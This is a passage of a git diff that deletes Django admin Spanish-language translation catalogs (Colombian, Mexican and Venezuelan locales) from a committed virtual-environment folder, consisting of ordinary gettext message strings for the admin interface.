-"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"¿Ha olvidado su clave? Ingrese su dirección de correo electrónico a " -"continuación y le enviaremos las instrucciones para establecer una nueva." - -msgid "Email address:" -msgstr "Correo electrónico:" - -msgid "Reset my password" -msgstr "Restablecer mi contraseña" - -msgid "All dates" -msgstr "Todas las fechas" - -#, python-format -msgid "Select %s" -msgstr "Escoja %s" - -#, python-format -msgid "Select %s to change" -msgstr "Escoja %s a modificar" - -msgid "Date:" -msgstr "Fecha:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Buscar" - -msgid "Currently:" -msgstr "Actualmente:" - -msgid "Change:" -msgstr "Cambiar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 3d428a04..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.po deleted file mode 100644 index 4bcc1ccc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,223 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ernesto Avilés Vázquez , 2015 -# Jannis Leidel , 2011 -# Josue Naaman Nistal Guerra , 2014 -# Leonardo J. Caballero G. , 2011 -# Veronicabh , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-20 03:01+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Spanish (Colombia) (http://www.transifex.com/django/django/" -"language/es_CO/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_CO\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s Disponibles" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Esta es la lista de %s disponibles. Puede elegir algunos seleccionándolos en " -"la caja inferior y luego haciendo clic en la flecha \"Elegir\" que hay entre " -"las dos cajas." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriba en este cuadro para filtrar la lista de %s disponibles" - -msgid "Filter" -msgstr "Filtro" - -msgid "Choose all" -msgstr "Selecciona todos" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Haga clic para seleccionar todos los %s de una vez" - -msgid "Choose" -msgstr "Elegir" - -msgid "Remove" -msgstr "Eliminar" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s elegidos" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Esta es la lista de los %s elegidos. Puede eliminar algunos seleccionándolos " -"en la caja inferior y luego haciendo click en la flecha \"Eliminar\" que hay " -"entre las dos cajas." - -msgid "Remove all" -msgstr "Eliminar todos" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Haz clic para eliminar todos los %s elegidos" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seleccionado" -msgstr[1] "%(sel)s de %(cnt)s seleccionados" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tiene cambios sin guardar en campos editables individuales. Si ejecuta una " -"acción, los cambios no guardados se perderán." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Ha seleccionado una acción, pero no ha guardado los cambios en los campos " -"individuales todavía. Pulse OK para guardar. Tendrá que volver a ejecutar la " -"acción." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ha seleccionado una acción y no ha hecho ningún cambio en campos " -"individuales. Probablemente esté buscando el botón Ejecutar en lugar del " -"botón Guardar." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Usted esta a %s horas por delante de la hora del servidor." -msgstr[1] "Nota: Usted va %s horas por delante de la hora del servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Usted esta a %s hora de retraso de tiempo de servidor." -msgstr[1] "Nota: Usted va %s horas por detrás de la hora del servidor." - -msgid "Now" -msgstr "Ahora" - -msgid "Choose a Time" -msgstr "Elija una hora" - -msgid "Choose a time" -msgstr "Elija una hora" - -msgid "Midnight" -msgstr "Medianoche" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Mediodía" - -msgid "6 p.m." -msgstr "6 p.m." - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoy" - -msgid "Choose a Date" -msgstr "Elija una fecha" - -msgid "Yesterday" -msgstr "Ayer" - -msgid "Tomorrow" -msgstr "Mañana" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Mostrar" - -msgid "Hide" -msgstr "Esconder" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/django.mo deleted file mode 100644 index c729c595..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/django.po deleted file mode 100644 index 416df6ae..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/django.po +++ /dev/null @@ -1,720 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abe Estrada, 2011-2013 -# Alex Dzul , 2015 -# Gustavo Jimenez , 2020 -# Jesús Bautista , 2020 -# José Rosso, 2022 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: José Rosso\n" -"Language-Team: Spanish (Mexico) (http://www.transifex.com/django/django/" -"language/es_MX/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_MX\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar %(verbose_name_plural)s seleccionados/as" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Se eliminaron con éxito %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "No se puede eliminar %(name)s " - -msgid "Are you sure?" -msgstr "¿Está seguro?" - -msgid "Administration" -msgstr "Administración" - -msgid "All" -msgstr "Todos/as" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Any date" -msgstr "Cualquier fecha" - -msgid "Today" -msgstr "Hoy" - -msgid "Past 7 days" -msgstr "Últimos 7 días" - -msgid "This month" -msgstr "Este mes" - -msgid "This year" -msgstr "Este año" - -msgid "No date" -msgstr "Sin fecha" - -msgid "Has date" -msgstr "Tiene fecha" - -msgid "Empty" -msgstr "Vacío" - -msgid "Not empty" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor introduza %(username)s y contraseña correctos de una cuenta de " -"staff. Note que puede que ambos campos sean estrictos en relación a " -"diferencias entre mayúsculas y minúsculas." - -msgid "Action:" -msgstr "Acción:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Agregar otro/a %(verbose_name)s" - -msgid "Remove" -msgstr "Eliminar" - -msgid "Addition" -msgstr "Adición" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Eliminación" - -msgid "action time" -msgstr "hora de la acción" - -msgid "user" -msgstr "usuario" - -msgid "content type" -msgstr "tipo de contenido" - -msgid "object id" -msgstr "id de objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr de objeto" - -msgid "action flag" -msgstr "marca de acción" - -msgid "change message" -msgstr "mensaje de cambio" - -msgid "log entry" -msgstr "entrada de registro" - -msgid "log entries" -msgstr "entradas de registro" - -#, python-format -msgid "Added “%(object)s”." -msgstr "" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -msgid "LogEntry Object" -msgstr "Objeto de registro de Log" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "Agregado." - -msgid "and" -msgstr "y" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "No ha modificado ningún campo." - -msgid "None" -msgstr "Ninguno" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "El {name} \"{obj}\" se agregó correctamente." - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Deben existir items seleccionados para poder realizar acciones sobre los " -"mismos. No se modificó ningún item." - -msgid "No action selected." -msgstr "No se ha seleccionado ninguna acción." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Agregar %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "Error en la base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Se ha modificado con éxito %(count)s %(name)s." -msgstr[1] "Se han modificado con éxito %(count)s %(name)s." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionados/as" -msgstr[1] "Todos/as (%(total_count)s en total) han sido seleccionados/as" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s seleccionados/as" - -#, python-format -msgid "Change history: %s" -msgstr "Historia de modificaciones: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"La eliminación de %(class_name)s %(instance)s provocaría la eliminación de " -"los siguientes objetos relacionados protegidos: %(related_objects)s" - -msgid "Django site admin" -msgstr "Sitio de administración de Django" - -msgid "Django administration" -msgstr "Administración de Django" - -msgid "Site administration" -msgstr "Administración del sitio" - -msgid "Log in" -msgstr "Identificarse" - -#, python-format -msgid "%(app)s administration" -msgstr "Administración de %(app)s " - -msgid "Page not found" -msgstr "Página no encontrada" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "Inicio" - -msgid "Server error" -msgstr "Error del servidor" - -msgid "Server error (500)" -msgstr "Error del servidor (500)" - -msgid "Server Error (500)" -msgstr "Error de servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Ejecutar la acción seleccionada" - -msgid "Go" -msgstr "Ejecutar" - -msgid "Click here to select the objects across all pages" -msgstr "Haga click aquí para seleccionar los objetos de todas las páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccionar lo(s)/a(s) %(total_count)s de %(module_name)s" - -msgid "Clear selection" -msgstr "Borrar selección" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos en la aplicación %(name)s" - -msgid "Add" -msgstr "Agregar" - -msgid "View" -msgstr "Vista" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "Introduzca un nombre de usuario y una contraseña." - -msgid "Change password" -msgstr "Cambiar contraseña" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "Por favor, corrija los siguientes errores." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Introduzca una nueva contraseña para el usuario %(username)s." - -msgid "Welcome," -msgstr "Bienvenido," - -msgid "View site" -msgstr "Ver sitio" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "Cerrar sesión" - -#, python-format -msgid "Add %(name)s" -msgstr "Agregar %(name)s" - -msgid "History" -msgstr "Historia" - -msgid "View on site" -msgstr "Ver en el sitio" - -msgid "Filter" -msgstr "Filtrar" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "Elimina de la clasificación" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridad de la clasificación: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Activar la clasificación" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar el %(object_name)s '%(escaped_object)s' provocaría la eliminación " -"de objetos relacionados, pero su cuenta no tiene permiso para eliminar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Para eliminar %(object_name)s '%(escaped_object)s' requiere eliminar los " -"siguientes objetos relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"¿Está seguro de que quiere eliminar los %(object_name)s \"%(escaped_object)s" -"\"? Se eliminarán los siguientes objetos relacionados:" - -msgid "Objects" -msgstr "Objetos" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples objetos" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Para eliminar %(objects_name)s requiere eliminar los objetos relacionado, " -"pero tu cuenta no tiene permisos para eliminar los siguientes tipos de " -"objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Eliminar el seleccionado %(objects_name)s requiere eliminar los siguientes " -"objetos relacionados protegidas:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"¿Está seguro que desea eliminar el seleccionado %(objects_name)s ? Todos los " -"objetos siguientes y sus elementos asociados serán eliminados:" - -msgid "Delete?" -msgstr "Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Por %(filter_title)s" - -msgid "Summary" -msgstr "Resúmen" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "Mis acciones" - -msgid "None available" -msgstr "Ninguna disponible" - -msgid "Unknown content" -msgstr "Contenido desconocido" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "¿Ha olvidado su contraseña o nombre de usuario?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Fecha/hora" - -msgid "User" -msgstr "Usuario" - -msgid "Action" -msgstr "Acción" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Mostrar todos/as" - -msgid "Save" -msgstr "Guardar" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Buscar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s results" -msgstr[1] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "total: %(full_result_count)s" - -msgid "Save as new" -msgstr "Guardar como nuevo" - -msgid "Save and add another" -msgstr "Guardar y agregar otro" - -msgid "Save and continue editing" -msgstr "Guardar y continuar editando" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "Cerrar" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "Identificarse de nuevo" - -msgid "Password change" -msgstr "Cambio de contraseña" - -msgid "Your password was changed." -msgstr "Su contraseña ha sido cambiada." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "Cambiar mi contraseña" - -msgid "Password reset" -msgstr "Recuperar contraseña" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Se le ha enviado su contraseña. Ahora puede continuar e ingresar." - -msgid "Password reset confirmation" -msgstr "Confirmación de reincialización de contraseña" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor introduzca su nueva contraseña dos veces de manera que podamos " -"verificar que la ha escrito correctamente." - -msgid "New password:" -msgstr "Nueva contraseña:" - -msgid "Confirm password:" -msgstr "Confirme contraseña:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"El enlace de reinicialización de contraseña es inválido, posiblemente debido " -"a que ya ha sido usado. Por favor solicite una nueva reinicialización de " -"contraseña." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Usted está recibiendo este correo electrónico porque ha solicitado un " -"restablecimiento de contraseña para la cuenta de usuario en %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "" -"Por favor visite la página que se muestra a continuación y elija una nueva " -"contraseña:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "¡Gracias por usar nuestro sitio!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "El equipo de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "Correo electrónico:" - -msgid "Reset my password" -msgstr "Recuperar mi contraseña" - -msgid "All dates" -msgstr "Todas las fechas" - -#, python-format -msgid "Select %s" -msgstr "Seleccione %s" - -#, python-format -msgid "Select %s to change" -msgstr "Seleccione %s a modificar" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Fecha:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Buscar" - -msgid "Currently:" -msgstr "Actualmente:" - -msgid "Change:" -msgstr "Modificar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.mo deleted file mode 100644 index fbd765ae..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.po deleted file mode 100644 index 76af2f30..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,219 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abraham Estrada, 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Spanish (Mexico) (http://www.transifex.com/django/django/" -"language/es_MX/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_MX\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Disponible %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Esta es la lista de los %s disponibles. Usted puede elegir algunos " -"seleccionándolos en el cuadro de abajo y haciendo click en la flecha " -"\"Seleccionar\" entre las dos cajas." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriba en esta casilla para filtrar la lista de %s disponibles." - -msgid "Filter" -msgstr "Filtro" - -msgid "Choose all" -msgstr "Seleccionar todos" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Da click para seleccionar todos los %s de una vez." - -msgid "Choose" -msgstr "Seleccionar" - -msgid "Remove" -msgstr "Quitar" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s seleccionados" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Esta es la lista de los %s elegidos. Usted puede eliminar algunos " -"seleccionándolos en el cuadro de abajo y haciendo click en la flecha " -"\"Eliminar\" entre las dos cajas." - -msgid "Remove all" -msgstr "Eliminar todos" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Da click para eliminar todos los %s seleccionados de una vez." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seleccionado/a" -msgstr[1] "%(sel)s de %(cnt)s seleccionados/as" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tiene modificaciones sin guardar en campos modificables individuales. Si " -"ejecuta una acción las mismas se perderán." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Ha seleccionado una acción, pero todavía no ha grabado las modificaciones " -"que ha realizado en campos individuales. Por favor haga click en Aceptar " -"para grabarlas. Necesitará ejecutar la acción nuevamente." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ha seleccionado una acción pero no ha realizado ninguna modificación en " -"campos individuales. Es probable que lo que necesite usar en realidad sea el " -"botón Ejecutar y no el botón Guardar." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "Ahora" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Elija una hora" - -msgid "Midnight" -msgstr "Medianoche" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Mediodía" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoy" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Ayer" - -msgid "Tomorrow" -msgstr "Mañana" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Mostrar" - -msgid "Hide" -msgstr "Ocultar" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/django.mo deleted file mode 100644 index ab04e3f3..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/django.po deleted file mode 100644 index c9e1509b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/django.po +++ /dev/null @@ -1,698 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Eduardo , 2017 -# Hotellook, 2014 -# Leonardo J. Caballero G. , 2016 -# Yoel Acevedo, 2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 19:11+0000\n" -"Last-Translator: Eduardo \n" -"Language-Team: Spanish (Venezuela) (http://www.transifex.com/django/django/" -"language/es_VE/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_VE\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Eliminado %(count)d %(items)s satisfactoriamente." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "No se puede eliminar %(name)s" - -msgid "Are you sure?" -msgstr "¿Está seguro?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar %(verbose_name_plural)s seleccionado" - -msgid "Administration" -msgstr "Administración" - -msgid "All" -msgstr "Todo" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Any date" -msgstr "Cualquier fecha" - -msgid "Today" -msgstr "Hoy" - -msgid "Past 7 days" -msgstr "Últimos 7 días" - -msgid "This month" -msgstr "Este mes" - -msgid "This year" -msgstr "Este año" - -msgid "No date" -msgstr "Sin fecha" - -msgid "Has date" -msgstr "Tiene fecha" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor, ingrese el %(username)s y la clave correctos para obtener cuenta " -"de 